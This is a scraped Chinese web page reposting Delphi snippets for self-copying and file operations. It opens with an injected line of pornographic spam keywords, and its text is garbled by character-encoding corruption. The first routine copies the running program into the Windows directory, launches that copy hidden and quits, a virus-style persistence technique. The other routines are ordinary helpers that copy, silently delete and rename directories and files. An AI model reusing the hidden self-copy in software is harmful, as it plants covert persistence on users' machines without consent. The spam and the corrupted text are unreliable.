乡下人产国偷v产偷v自拍,国产午夜片在线观看,婷婷成人亚洲综合国产麻豆,久久综合给合久久狠狠狠9

  • <output id="e9wm2"></output>
    <s id="e9wm2"><nobr id="e9wm2"><ins id="e9wm2"></ins></nobr></s>

    • 分享

      Delphi復(fù)制自身自我復(fù)制

       獨(dú)孤求財(cái) 2012-03-21

      Delphi復(fù)制自身自我復(fù)制

      時(shí)間:2011-6-2來(lái)源:yang 作者: peng點(diǎn)擊: 173次

      //復(fù)制自己到系統(tǒng)目錄
      procedure TForm1.FormCreate(Sender: TObject);
      var myname: string;
      begin
      myname := ExtractFilename(Application.Exename); //獲得文件名
      if application.Exename <> GetWindir + myname then //如果文件不是在Windows\System\那么..
      begin
      copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{將自己拷貝到Windows\System\下}
      Winexec(pchar(GetWindir + myname), sw_hide);//運(yùn)行Windows\System\下的新文件
      application.Terminate;//退出
      end;
      end;
      //復(fù)制目錄:
      function CopyDirectory(const Source, Dest: string): boolean;
      var
      fo: TSHFILEOPSTRUCT;
      begin
      FillChar(fo, SizeOf(fo), 0);
      with fo do
      begin
      Wnd := 0;
      wFunc := FO_COPY;
      pFrom := PChar(source+#0);
      pTo := PChar(Dest+#0);
      fFlags := FOF_NOCONFIRMATION+FOF_NOCONFIRMMKDIR ;
      end;
      Result := (SHFileOperation(fo) = 0);
      end;

      //刪除目錄:

      function DelDirectory(const Source:string): boolean;
      var
      fo: TSHFILEOPSTRUCT;
      begin
      FillChar(fo, SizeOf(fo), 0);
      with fo do
      begin
      Wnd := 0;
      wFunc := FO_DELETE;
      pFrom := PChar(source+#0);
      pTo := #0#0;
      fFlags := FOF_NOCONFIRMATION+FOF_SILENT;
      end;
      Result := (SHFileOperation(fo) = 0);
      end;

       

      // 重新命名:
      //用MoveFile()或者下面的函數(shù)也可以。
      RenameFile(‘c:\a‘,‘c:\b‘)好想也可以?Win2K。
      //RenDirectory(‘d:\wt2‘,‘d:\bcde‘);
      function RenDirectory(const OldName,NewName:string): boolean;
      var
      fo: TSHFILEOPSTRUCT;
      begin
      FillChar(fo, SizeOf(fo), 0);
      with fo do
      begin
      Wnd := 0;
      wFunc := FO_RENAME;
      pFrom := PChar(OldName+#0);
      pTo := pchar(NewName+#0);
      fFlags := FOF_NOCONFIRMATION+FOF_SILENT;
      end;
      Result := (SHFileOperation(fo) = 0);
      end;
      //Copy 多個(gè)文件的處理:
      function CopyFiles(const Source,Dest: string): boolean;
      var
      fo: TSHFILEOPSTRUCT;
      begin
      FillChar(fo, SizeOf(fo), 0);
      with fo do
      begin
      Wnd := 0;
      wFunc := FO_COPY;
      pFrom := @source[1];
      pTo :=pchar(dest);
      fFlags := FOF_NOCONFIRMATION+FOF_NOCONFIRMMKDIR ;
      end;
      Result := (SHFileOperation(fo) = 0);
      end;

      procedure TForm1.Button1Click(Sender: TObject);
      var
      str:string;
      i:integer;
      begin
      if opendialog1.Execute then
      begin
      for i:=0 to OpenDialog1.Files.Count-1 do
      str:=str+OpenDialog1.Files.strings[i]+#0;
      showmessage(str);
      str:=str+#0;
      CopyFiles(str,‘d:\temp‘);
      end;
      end;

        本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購(gòu)買(mǎi)等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊一鍵舉報(bào)。
        轉(zhuǎn)藏 分享 獻(xiàn)花(0

        0條評(píng)論

        發(fā)表

        請(qǐng)遵守用戶 評(píng)論公約

        類(lèi)似文章 更多